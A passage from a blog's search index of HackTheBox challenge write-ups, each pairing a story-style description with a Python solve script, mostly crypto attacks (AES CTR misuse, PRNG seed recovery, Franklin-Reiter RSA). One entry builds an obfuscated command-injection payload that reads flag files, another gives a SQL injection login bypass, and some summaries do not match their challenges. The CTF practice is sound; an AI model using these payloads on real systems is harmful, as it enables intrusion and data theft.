= xor_bytes(blocks[r + 1], leak1) pt_block2 = xor_bytes(blocks[r + 2], leak2) flag = pt_block2[-15:].decode() + pt_block1.decode() return flag def main(): flag = analyze_encryption() print(flag+ \u0026#39;}\u0026#39;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Multipage Recyclings: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Multipage-Recyclings-Challenge/","protected":null,"snippet":"Multipage Recyclings: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["htb","crypto","aes"],"title":"HackTheBox Multipage Recyclings Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/704\nDescription Uncertain of their safety from other potentially hostile communities, the survivors recognize the necessity of arming themselves with laser weapons and flamethrowers for self-defense. Rumor has it that an old casino on the city\u0026rsquo;s outskirts holds advanced weaponry. However, to gain access to this private area, an uninvited visitor must play a seemingly impossible game of chance and accumulate a specific amount of winnings. Is the challenge as it appears, or can you prove them wrong?\nExploitation #!/usr/bin/env python3 from pwn import * from Crypto.Hash import SHA256 def get_process(): if len(sys.argv) \u0026gt; 1: ip, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(ip, int(port)) print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) def keyed_hash(key, inp): return SHA256.new(key + inp).digest() def custom_hmac(key, inp): return keyed_hash(keyed_hash(key, b\u0026#34;Improving on the security of SHA is easy\u0026#34;), inp) + keyed_hash(key, inp) def check_output(full_output, inp, k_prime): output = bytes.fromhex(full_output) return output[:32] == keyed_hash(k_prime, bytes.fromhex(inp)) def get_fixed_key(conn): msg = b\u0026#34;Improving on the security of SHA is easy\u0026#34; conn.recvline() my_balance = 100 appeared = [] for i in range(10): my_balance -= 10 conn.recvuntil(b\u0026#34;Option: \u0026#34;) conn.sendline(b\u0026#34;2\u0026#34;) conn.recvuntil(b\u0026#34;hex :: \u0026#34;) conn.sendline(msg.hex().encode()) potential_hash = conn.recvline().strip().decode().split()[-1] appeared.append(potential_hash) if appeared.count(appeared[-1]) \u0026gt; 1: return bytes.fromhex(appeared[-1][64:]), my_balance return None, my_balance def win_game(conn, H_k_msg, my_balance): while my_balance \u0026lt; 500: conn.recvuntil(b\u0026#34;Option: \u0026#34;) conn.sendline(b\u0026#34;3\u0026#34;) curr_input = conn.recvline().decode().strip().split()[-1] curr_output = conn.recvline().decode().strip().split()[-1] conn.recvuntil(b\u0026#34; :: \u0026#34;) conn.sendline(b\u0026#34;0\u0026#34; if check_output(curr_output, curr_input, H_k_msg) else b\u0026#34;1\u0026#34;) my_balance += 5 if \u0026#34;Lucky\u0026#34; in conn.recvline().decode() else 0 def get_flag(conn): conn.recvuntil(b\u0026#34;Option: \u0026#34;) conn.sendline(b\u0026#34;1\u0026#34;) return conn.recvline().decode().strip() def pwn(): try: conn = get_process() if not conn: return H_k_msg, my_balance = get_fixed_key(conn) if not H_k_msg: return win_game(conn, H_k_msg, my_balance) print(get_flag(conn)) except Exception as e: print(f\u0026#34;Error: {str(e)}\u0026#34;) finally: if conn: conn.close() if __name__ == \u0026#39;__main__\u0026#39;: pwn() Summary Not that random: reconstruct the PRNG state from the leak, replay it, and recover the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Not-that-random-Challenge/","protected":null,"snippet":"Not that random: reconstruct the PRNG state from the leak, replay it, and recover the flag.","tags":["htb","crypto","prng","hash"],"title":"HackTheBox Not that random Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/225\nDescription Plutonium Labs is a private laboratory experimenting with plutonium products. A huge sale is going to take place and our intelligence agency is interested in learning more about it. We have managed to intercept the traffic of their mail server. Can you find anything interesting?\nExploitation #!/usr/bin/env python3 def hex_to_bytes(hex_str): return bytes.fromhex(hex_str) def xor_bytes(data1, data2): return bytes(a ^ b for a, b in zip(data1, data2)) def main(): msg1 = \u0026#34;6b65813f4fe991efe2042f79988a3b2f2559d358e55f2fa373e53b1965b5bb2b175cf039\u0026#34; msg2 = \u0026#34;fd034c32294bfa6ab44a28892e75c4f24d8e71b41cfb9a81a634b90e6238443a813a3d34\u0026#34; msg3 = \u0026#34;de328f76159108f7653a5883decb8dec06b0fd9bc8d0dd7dade1f04836b8a07da20bfe70\u0026#34; data1, data2, data3 = hex_to_bytes(msg1), hex_to_bytes(msg2), hex_to_bytes(msg3) flag = xor_bytes(xor_bytes(data1, data2), data3).decode(\u0026#39;utf-8\u0026#39;) print(flag) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Nuclear Sale: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Nuclear-Sale-Challenge/","protected":null,"snippet":"Nuclear Sale: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox Nuclear Sale Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/704\nDescription Reading out loud Danbeer’s thoughts from the cloud server shocked everyone. Knowing that your father has become a consciousness that can be easily turned off and on is traumatizing. You are overwhelmed by your feelings and angry at yourself. You begin to ask yourself. Why am I feeling so much pain? Is there a part of my brain that is still encrypted? Have I screwed up again? You run towards the lab while shouting and slamming the doors behind you. Upon seeing that, Ulysses immediately flees the spaceship. Many days have passed and you are still obsessed with finding the part of your brain that needs to be repaired. Your comrades are startled by your sudden introversion and worry about Ulysses, who is nowhere to be seen. Weeks have passed and Ulysses is still missing. Suddenly, the ship receives a docking signal and as you scan the alien spacecraft for signs of life, a male passenger is discovered. It’s Ulysses! Excited, he rushes out of his capsule and overtakes the crew members, that longed to hug him to get to your lab. Ulysses informs you that he has managed to steal one of the cloud backup servers from the facility where the experiments took place. It seems that this device alters the consciousness of each test subject. Stunned by this information, a realization comes to mind. You are going to get your father back.\nExploitation #!/usr/bin/env python3 from Crypto.Util.number import long_to_bytes import requests, sys def get_process(): if len(sys.argv) \u0026gt; 1: ip, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return f\u0026#34;{ip}:{port}\u0026#34; print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) class Polynomial: def __init__(self, coeffs, modulus): self.coeffs = [x % modulus for x in coeffs] self.modulus = modulus self.trim() def trim(self): while len(self.coeffs) \u0026gt; 1 and self.coeffs[-1] == 0: self.coeffs.pop() def __add__(self, other): result = [0] * max(len(self.coeffs), len(other.coeffs)) for i in range(len(result)): a = self.coeffs[i] if i \u0026lt; len(self.coeffs) else 0 b = other.coeffs[i] if i \u0026lt; len(other.coeffs) else 0 result[i] = (a + b) % self.modulus return Polynomial(result, self.modulus) def __sub__(self, other): result = [0] * max(len(self.coeffs), len(other.coeffs)) for i in range(len(result)): a = self.coeffs[i] if i \u0026lt; len(self.coeffs) else 0 b = other.coeffs[i] if i \u0026lt; len(other.coeffs) else 0 result[i] = (a - b) % self.modulus return Polynomial(result, self.modulus) def __mul__(self, other): result = [0] * (len(self.coeffs) + len(other.coeffs) - 1) for i in range(len(self.coeffs)): for j in range(len(other.coeffs)): result[i+j] = (result[i+j] + self.coeffs[i] * other.coeffs[j]) % self.modulus return Polynomial(result, self.modulus) def __divmod__(self, other): if len(other.coeffs) \u0026gt; len(self.coeffs): return Polynomial([0], self.modulus), self inv_lead = pow(other.coeffs[-1], -1, self.modulus) quotient = [0] * (len(self.coeffs) - len(other.coeffs) + 1) remainder = self.coeffs.copy() for i in range(len(self.coeffs) - len(other.coeffs), -1, -1): if len(remainder) \u0026lt;= i + len(other.coeffs) - 1: continue coeff = (remainder[i + len(other.coeffs) - 1] * inv_lead) % self.modulus quotient[i] = coeff for j in range(len(other.coeffs)): idx = i + j if idx \u0026lt; len(remainder): remainder[idx] = (remainder[idx] - coeff * other.coeffs[j]) % self.modulus return (Polynomial(quotient, self.modulus), Polynomial(remainder[:len(other.coeffs)-1], self.modulus)) def poly_gcd(a, b): while len(b.coeffs) \u0026gt; 1 or b.coeffs[0] != 0: _, r = divmod(a, b) a, b = b, r return a def get_encrypted_data(url): r = requests.get(f\u0026#39;http://{url}/api/get_flag\u0026#39;) return r.json() def create_polynomial(a, b, c, e, n): result = Polynomial([b % n, a % n], n) temp = result for i in range(e-1): temp = temp * result temp.coeffs[0] = (temp.coeffs[0] - c) % n return temp def main(): url = get_process() print(\u0026#34;[+] Getting first encryption...\u0026#34;) data1 = get_encrypted_data(url) print(\u0026#34;[+] Getting second encryption...\u0026#34;) data2 = get_encrypted_data(url) n = int(data1[\u0026#39;n\u0026#39;], 16) e = int(data1[\u0026#39;e\u0026#39;], 16) a1 = int(data1[\u0026#39;a\u0026#39;], 16) b1 = int(data1[\u0026#39;b\u0026#39;], 16) c1 = int(data1[\u0026#39;ct\u0026#39;], 16) a2 = int(data2[\u0026#39;a\u0026#39;], 16) b2 = int(data2[\u0026#39;b\u0026#39;], 16) c2 = int(data2[\u0026#39;ct\u0026#39;], 16) print(\u0026#34;[+] Running Franklin-Reiter attack...\u0026#34;) f1 = create_polynomial(a1, b1, c1, e, n) f2 = create_polynomial(a2, b2, c2, e, n) gcd = poly_gcd(f1, f2) if len(gcd.coeffs) \u0026gt; 1: a, b = gcd.coeffs[1], gcd.coeffs[0] flag_value = (-b * pow(a, -1, n)) % n flag = long_to_bytes(flag_value) print(f\u0026#34;[+] Found flag: {flag.decode()}\u0026#34;) else: print(\u0026#34;[-] Attack failed\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary One Step Closer: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-One-Step-Closer-Challenge/","protected":null,"snippet":"One Step Closer: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa"],"title":"HackTheBox One Step Closer Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/660\nDescription You find yourself in a labyrinthine expanse where movement is restricted to forward paths only. Each step presents both opportunity and uncertainty, as the correct route remains shrouded in mystery. Your mission is clear: navigate the labyrinth and reach the elusive endpoint. However, there\u0026rsquo;s a twist—you have just one chance to discern the correct path. Should you falter and choose incorrectly, you\u0026rsquo;re cast back to the beginning, forced to restart your journey anew. As you embark on this daunting quest, the labyrinth unfolds before you, its twisting passages and concealed pathways presenting a formidable challenge. With each stride, you must weigh your options carefully, considering every angle and possibility. Yet, despite the daunting odds, there\u0026rsquo;s a glimmer of hope amidst the uncertainty. Hidden throughout the labyrinth are cryptic clues and hints, waiting to be uncovered by the keen-eyed. These hints offer glimpses of the correct path, providing invaluable guidance to those who dare to seek them out. But beware, for time is of the essence, and every moment spent deliberating brings you closer to the brink of failure. With determination and wit as your allies, you must press onward, braving the twists and turns of the labyrinth, in pursuit of victory and escape from the labyrinth\u0026rsquo;s confounding embrace. Are you tenacious enough for that?\nExploitation #!/usr/bin/env python3 from math import sqrt from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP def load_data(): with open(\u0026#39;output.txt\u0026#39;) as f: n = int(f.readline().split(\u0026#39; = \u0026#39;)[1]) ct = bytes.fromhex(f.readline().split(\u0026#39; = \u0026#39;)[1]) hint_p = int(f.readline().split(\u0026#39; = \u0026#39;)[1]) hint_q = int(f.readline().split(\u0026#39; = \u0026#39;)[1]) return n, ct, hint_p, hint_q def decrypt(p, q, n, ct): e = 0x10001 d = pow(e, -1, (p-1)*(q-1)) key = RSA.construct((n, e, d)) flag = PKCS1_OAEP.new(key).decrypt(ct) return flag def create_masks(primelen): pmask = \u0026#39;\u0026#39;.join([\u0026#39;1\u0026#39; if i % 2 == 0 else \u0026#39;0\u0026#39; for i in range(primelen)]) qmask = \u0026#39;\u0026#39;.join([\u0026#39;1\u0026#39; if i % 2 == 1 else \u0026#39;0\u0026#39; for i in range(primelen)]) return pmask, qmask def bruteforce_digit(i, n, known_prime, prime_to_check, hint_prime): msk = 10**(i+1) known_prime = 10**i * (hint_prime % 10) + known_prime for d in range(10): test_prime = 10**i * d + prime_to_check if n % msk == known_prime * test_prime % msk: updated_prime_to_check = test_prime updated_hint_prime = hint_prime // 10 return known_prime, updated_prime_to_check, updated_hint_prime def factor(n, p, q, hp, hq, pmask, qmask, prime_len): for i in range(prime_len): if pmask[-(i+1)] == \u0026#39;1\u0026#39;: p, q, hp = bruteforce_digit(i, n, p, q, hp) else: q, p, hq = bruteforce_digit(i, n, q, p, hq) assert n == p * q return p, q def pwn(): n, ct, hint_p, hint_q = load_data() prime_len = len(str(int(sqrt(n)))) pmask, qmask = create_masks(prime_len) p, q = factor(n, 0, 0, hint_p, hint_q, pmask, qmask, prime_len) flag = decrypt(p, q, n, ct) print(flag.decode()) if __name__ == \u0026#39;__main__\u0026#39;: pwn() Summary Partial Tenacity: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Partial-Tenacity-Challenge/","protected":null,"snippet":"Partial Tenacity: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa"],"title":"HackTheBox Partial Tenacity Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/542\nDescription A calculator service has been deployed at an enemy\u0026rsquo;s agency, for their personel to be acquainted with human numbers. We need to inflitrate the application and get access to the secret flag stored inside it\u0026rsquo;s system!\nExploitation #!/usr/bin/env python3 import requests,re,sys def generate_payload(): command = \u0026#34;cat /f*\u0026#34; octal_bytes = [\u0026#39;\\\\\u0026#39; + format(ord(char), \u0026#39;o\u0026#39;) for char in command] payload = f\u0026#34;`{\u0026#39;\u0026#39;.join(octal_bytes)}`\u0026#34; return payload def exploit(url): payload = generate_payload() print(f\u0026#34;[*] Generated payload: {payload}\u0026#34;) try: r = requests.get(f\u0026#34;{url}/?formula={payload}\u0026#34;) flag = re.findall(r\u0026#39;HTB{[^}]+}\u0026#39;, r.text) if flag: print(f\u0026#34;[+] Found flag: {flag[0]}\u0026#34;) else: print(\u0026#34;[-] No flag found in response\u0026#34;) except Exception as e: print(f\u0026#34;[-] Error: {e}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) url = sys.argv[1] target = f\u0026#34;http://{url}\u0026#34; exploit(target) Summary pcalc: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-pcalc-Challenge/","protected":null,"snippet":"pcalc: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox pcalc Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/661\nDescription You drop to the ground as a voltaic mist of energy surrounds you; within it are the Aranaya, reflections of your emotions that break into the physical world from the spiritual realm. Love, hate, pain and more writhe and dance before your eyes in an endless storm. As one tears into your soul, a lightning bolt strikes your inner being and the emotion remoulds into another. Startled and wide-eyed, you recognise an undeniable truth: they are all reflections of one another, an ecosystem of your being that you could lose forever. Consciousness leaves you as the psychedelic show whirls on. To retain your self, you must brave the storm: a cyclone of patterns, an infinitude of permutations.\nExploitation #!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Util.number import long_to_bytes from hashlib import sha256 from math import gcd from functools import reduce class Permutation: def __init__(self, mapping): if isinstance(mapping, Permutation): self.mapping = tuple(mapping.mapping) else: self.mapping = tuple(mapping) self.length = len(self.mapping) def __call__(self, x): return self.mapping[x] def __mul__(self, other): return Permutation([self(other(i)) for i in range(self.length)]) def __pow__(self, n): if n == 0: return Permutation(range(self.length)) if n == 1: return self if n \u0026lt; 0: raise ValueError(\u0026#34;Negative powers not implemented\u0026#34;) half = self ** (n // 2) if n % 2 == 0: return half * half return half * half * self def cycles(self): cycles = [] used = set() for i in range(self.length): if i in used: continue current_cycle = [i] used.add(i) next_idx = self(i) while next_idx not in used: current_cycle.append(next_idx) used.add(next_idx) next_idx = self(next_idx) if len(current_cycle) \u0026gt; 1: cycles.append(current_cycle) return sorted(cycles) def extended_gcd(a, b): if a == 0: return b, 0, 1 gcd, x1, y1 = extended_gcd(b % a, a) x = y1 - (b // a) * x1 y = x1 return gcd, x, y def lcm(a, b): return abs(a * b) // gcd(a, b) def crt(moduli, remainders): if not moduli or not remainders: raise ValueError(\u0026#34;Empty inputs to CRT\u0026#34;) if len(moduli) != len(remainders): raise ValueError(\u0026#34;Number of moduli must equal number of remainders\u0026#34;) if len(moduli) == 1: return remainders[0] % moduli[0] result = remainders[0] modulus = moduli[0] for m2, r2 in zip(moduli[1:], remainders[1:]): g, p, q = extended_gcd(modulus, m2) if r2 % g != result % g: continue new_mod = (modulus * m2) // g result = (result + ((((r2 - result) * p * modulus) // g) % new_mod)) % new_mod modulus = new_mod return result def solve_dlp(g, h): g_cycles = g.cycles() h_cycles = h.cycles() print(f\u0026#34;Number of g cycles: {len(g_cycles)}\u0026#34;) print(f\u0026#34;Number of h cycles: {len(h_cycles)}\u0026#34;) G = [] H = [] for i in range(g.length): g_pos = None h_pos = None for j, c in enumerate(g_cycles): if i in c: g_pos = (j, c.index(i)) for j, c in enumerate(h_cycles): if i in c: h_pos = (j, c.index(i)) if g_pos is not None: G.append(g_pos) if h_pos is not None: H.append(h_pos) First = [] Second = [] for c in h_cycles: if len(c) \u0026gt; 1: First.append(c[0]) Second.append(c[1]) D = [] L = [] for i in range(len(Second)): dist = G[Second[i]][1] - G[First[i]][1] cycle_len = len(h_cycles[i]) if cycle_len \u0026gt; 1: D.append(dist % cycle_len) L.append(cycle_len) print(\u0026#34;D:\u0026#34;, D) print(\u0026#34;L:\u0026#34;, L) try: return crt(L, D) except Exception as e: print(f\u0026#34;CRT error: {e}\u0026#34;) raise def decrypt_shared_secret(B, a, ciphertext): try: C = B**a sec = tuple(C.mapping) sec = abs(hash(sec)) sec = long_to_bytes(sec) hash_obj = sha256() hash_obj.update(sec) key = hash_obj.digest()[16:32] iv = b\u0026#39;\\xfb\\x1d]\\xbc\\r\\xa3\\x91\\x1cvV#\\x13\\xd8z\\xb4\\x16\u0026#39; cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(ciphertext) try: return unpad(decrypted, 16) except ValueError: return decrypted except Exception as e: print(f\u0026#34;Decryption error: {e}\u0026#34;) return None def main(): print(\u0026#34;Loading challenge data...\u0026#34;) namespace = {} with open(\u0026#39;output.txt\u0026#39;, \u0026#39;r\u0026#39;) as f: exec(f.read(), namespace) g = Permutation(namespace[\u0026#39;g\u0026#39;]) A = Permutation(namespace[\u0026#39;A\u0026#39;]) B = Permutation(namespace[\u0026#39;B\u0026#39;]) c = namespace.get(\u0026#39;c\u0026#39;, None) if not c: print(\u0026#34;Error: No ciphertext found in output.txt\u0026#34;) return print(\u0026#34;Solving DLP...\u0026#34;) try: a = solve_dlp(g, A) print(f\u0026#34;Found private key a = {a}\u0026#34;) if g ** a == A: print(\u0026#34;Verified: g^a = A\u0026#34;) else: print(\u0026#34;Warning: g^a != A\u0026#34;) print(\u0026#34;Decrypting flag...\u0026#34;) flag = decrypt_shared_secret(B, a, c) if flag: print(flag.decode(\u0026#39;ascii\u0026#39;)) except Exception as e: print(f\u0026#34;Error: {e}\u0026#34;) import traceback traceback.print_exc() if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Permuted: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Permuted-Challenge/","protected":null,"snippet":"Permuted: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa","aes","hash"],"title":"HackTheBox Permuted Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/227\nDescription Are you ready to win lottery? Guess the Random Lotto Numbers. It\u0026rsquo;s TIME you become a millionaire.\nExploitation Connect with nc and run the poc wiht the extraction numbers as arg\n#!/usr/bin/env python3 from pwn import * import time,random,sys def predict(x): seed = int(time.time()) log.info(f\u0026#34;Target numbers: {x}\u0026#34;) log.info(f\u0026#34;Current seed: {seed}\u0026#34;) for i in range(seed-600,seed+600,1): random.seed(i) extracted = [] next_five = [] while len(extracted) \u0026lt; 5: r = random.randint(1,90) if r not in extracted: extracted.append(r) if sorted(extracted) == sorted(x): while len(next_five) \u0026lt; 5: r = random.randint(1,90) if r not in next_five: next_five.append(r) log.success(f\u0026#34;Found matching seed: {i}\u0026#34;) log.success(f\u0026#34;Next numbers: {next_five}\u0026#34;) return next_five return None if __name__ == \u0026#34;__main__\u0026#34;: context.log_level = \u0026#39;info\u0026#39; if len(sys.argv) != 6: print(f\u0026#34;Usage: {sys.argv[0]} num1 num2 num3 num4 num5\u0026#34;) sys.exit(1) target = [int(n) for n in sys.argv[1:6]] predict(target) Summary RLotto: reconstruct the PRNG state from the leak, replay it, and recover the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-RLotto-Challenge/","protected":null,"snippet":"RLotto: reconstruct the PRNG state from the leak, replay it, and recover the flag.","tags":["htb","crypto","prng"],"title":"HackTheBox RLotto Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/178\nDescription Can you escape the query context and log in as admin at my super secure login page?\nExploitation Just look at the page title. \u0026ldquo;SQLi\u0026rdquo;\n\u0026#39; OR \u0026#39;1\u0026#39;=\u0026#39;1 Summary sanitize: exploit the SQL injection, extract the needed data, and reach the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-sanitize-Challenge/","protected":null,"snippet":"sanitize: exploit the SQL injection, extract the needed data, and reach the flag.","tags":["htb","web","sql-injection"],"title":"HackTheBox sanitize Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/6\nDescription Can you decrypt the message and get the flag?\nExploitation #!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP import binascii, re with open(\u0026#39;priv.key\u0026#39;, \u0026#39;r\u0026#39;) as f: private_key = RSA.import_key(f.read()) with open(\u0026#39;flag.enc\u0026#39;, \u0026#39;rb\u0026#39;) as f: encrypted_data = f.read() decrypted_int = pow(int.from_bytes(encrypted_data, \u0026#39;big\u0026#39;), private_key.d, private_key.n) decrypted_bytes = decrypted_int.to_bytes((decrypted_int.bit_length() + 7) // 8, \u0026#39;big\u0026#39;) ascii_data = decrypted_bytes.decode(\u0026#39;ascii\u0026#39;, errors=\u0026#39;ignore\u0026#39;) if \u0026#39;HTB{\u0026#39; in ascii_data: print(re.search(r\u0026#39;HTB{[^}]+}\u0026#39;, ascii_data).group(0)) Summary Weak RSA: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Weak-RSA-Challenge/","protected":null,"snippet":"Weak RSA: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa"],"title":"HackTheBox Weak RSA Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/415\nDescription In a parallel universe, \u0026quot;trick-or-treat\u0026quot; is played by different rules. As technologies became more advanced and the demand for security researchers increased, the government decided to incorporate security concepts into every game and tradition. Instead of candy, kids have the choice of selecting a AES mode and encrypting their plaintext. If they somehow manage to find the FLAG, they get candy. Can you solve this basic problem for the toddlers of this universe?\nExploitation #!/usr/bin/env python3 from pwn import * import json def get_process(): if len(sys.argv) \u0026gt; 1: ip, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(ip, int(port)) print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) def send_json(s, data): s.sendline(json.dumps(data).encode()) def get_ctr_mode(): while True: r = get_process() initial = r.recvuntil(b\u0026#39;\u0026gt;\u0026#39;).decode() if \u0026#39;CTR\u0026#39; in initial: log.success(\u0026#34;Got CTR mode!\u0026#34;) return r r.close() log.info(\u0026#34;Retrying for CTR mode...\u0026#34;) def perform_attack(): r = get_ctr_mode() send_json(r, {\u0026#34;option\u0026#34;: \u0026#34;1\u0026#34;}) r.recvuntil(b\u0026#39;{\u0026#34;response\u0026#34;: \u0026#34;encrypted\u0026#34;, \u0026#34;ciphertext\u0026#34;: \u0026#34;\u0026#39;) flag_ct = r.recvuntil(b\u0026#39;\u0026#34;\u0026#39;).decode().strip(\u0026#39;\u0026#34;\u0026#39;) log.info(f\u0026#34;Flag ciphertext: {flag_ct}\u0026#34;) pt_len = len(flag_ct) // 2 known_pt = \u0026#34;A\u0026#34; * pt_len send_json(r, {\u0026#34;option\u0026#34;: \u0026#34;2\u0026#34;}) r.recvuntil(b\u0026#39;Enter plaintext:\u0026#39;) send_json(r, {\u0026#34;plaintext\u0026#34;: known_pt}) r.recvuntil(b\u0026#39;{\u0026#34;response\u0026#34;: \u0026#34;encrypted\u0026#34;, \u0026#34;ciphertext\u0026#34;: \u0026#34;\u0026#39;) known_ct = r.recvuntil(b\u0026#39;\u0026#34;\u0026#39;).decode().strip(\u0026#39;\u0026#34;\u0026#39;) log.info(f\u0026#34;Known plaintext ciphertext: {known_ct}\u0026#34;) flag_bytes = xor( bytes.fromhex(flag_ct), known_pt.encode(), bytes.fromhex(known_ct) ) try: flag_text = \u0026#34;\u0026#34; for b in flag_bytes: if b \u0026lt; 32 or b \u0026gt; 126: break flag_text += chr(b) if \u0026#34;}\u0026#34; in flag_text: flag = flag_text[:flag_text.index(\u0026#34;}\u0026#34;) + 1] log.success(f\u0026#34;Flag: {flag}\u0026#34;) else: log.error(\u0026#34;Could not find end of flag\u0026#34;) log.info(f\u0026#34;Raw bytes: {flag_bytes.hex()}\u0026#34;) except Exception as e: log.error(f\u0026#34;Error processing flag: {e}\u0026#34;) log.info(f\u0026#34;Raw bytes: {flag_bytes.hex()}\u0026#34;) r.close() if __name__ == \u0026#34;__main__\u0026#34;: perform_attack() Summary Whole Lotta Candy: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Whole-Lotta-Candy-Challenge/","protected":null,"snippet":"Whole Lotta Candy: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["htb","crypto","aes","xor"],"title":"HackTheBox Whole Lotta Candy Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-30T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Behind-the-Scenes-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","gdb","linux"],"title":"HackTheBox Behind the Scenes Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-30T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Cyberpsychosis-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","linux"],"title":"HackTheBox Cyberpsychosis Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-30T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-ReRop-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","xor","linux"],"title":"HackTheBox ReRop Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-29T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Coffee-Invocation-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","linux"],"title":"HackTheBox Coffee Invocation Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-29T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Factory-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Factory Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-29T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Line-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal","cve-2014-6271"],"title":"HackTheBox Line Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/548\nDescription We\u0026rsquo;ve located the adversary\u0026rsquo;s location and must now secure access to their Optical Network Terminal to disable their internet connection. Fortunately, we\u0026rsquo;ve obtained a copy of the device\u0026rsquo;s firmware, which is suspected to contain hardcoded credentials. Can you extract the password from it?\nExploitation binwalk -e rootfs rg \u0026#39;HTB\u0026#39; Summary Photon-Lockdown: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2025-01-29T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Photon-Lockdown-Challenge/","protected":null,"snippet":"Photon-Lockdown: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Photon-Lockdown Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-29T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Sudoking-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","misc"],"title":"HackTheBox Sudoking Challenge"},{"categories":["machine"],"contents":"","date":"2025-01-27T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Backfire/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","windows","linux","cve-2024-41570"],"title":"HackTheBox Backfire 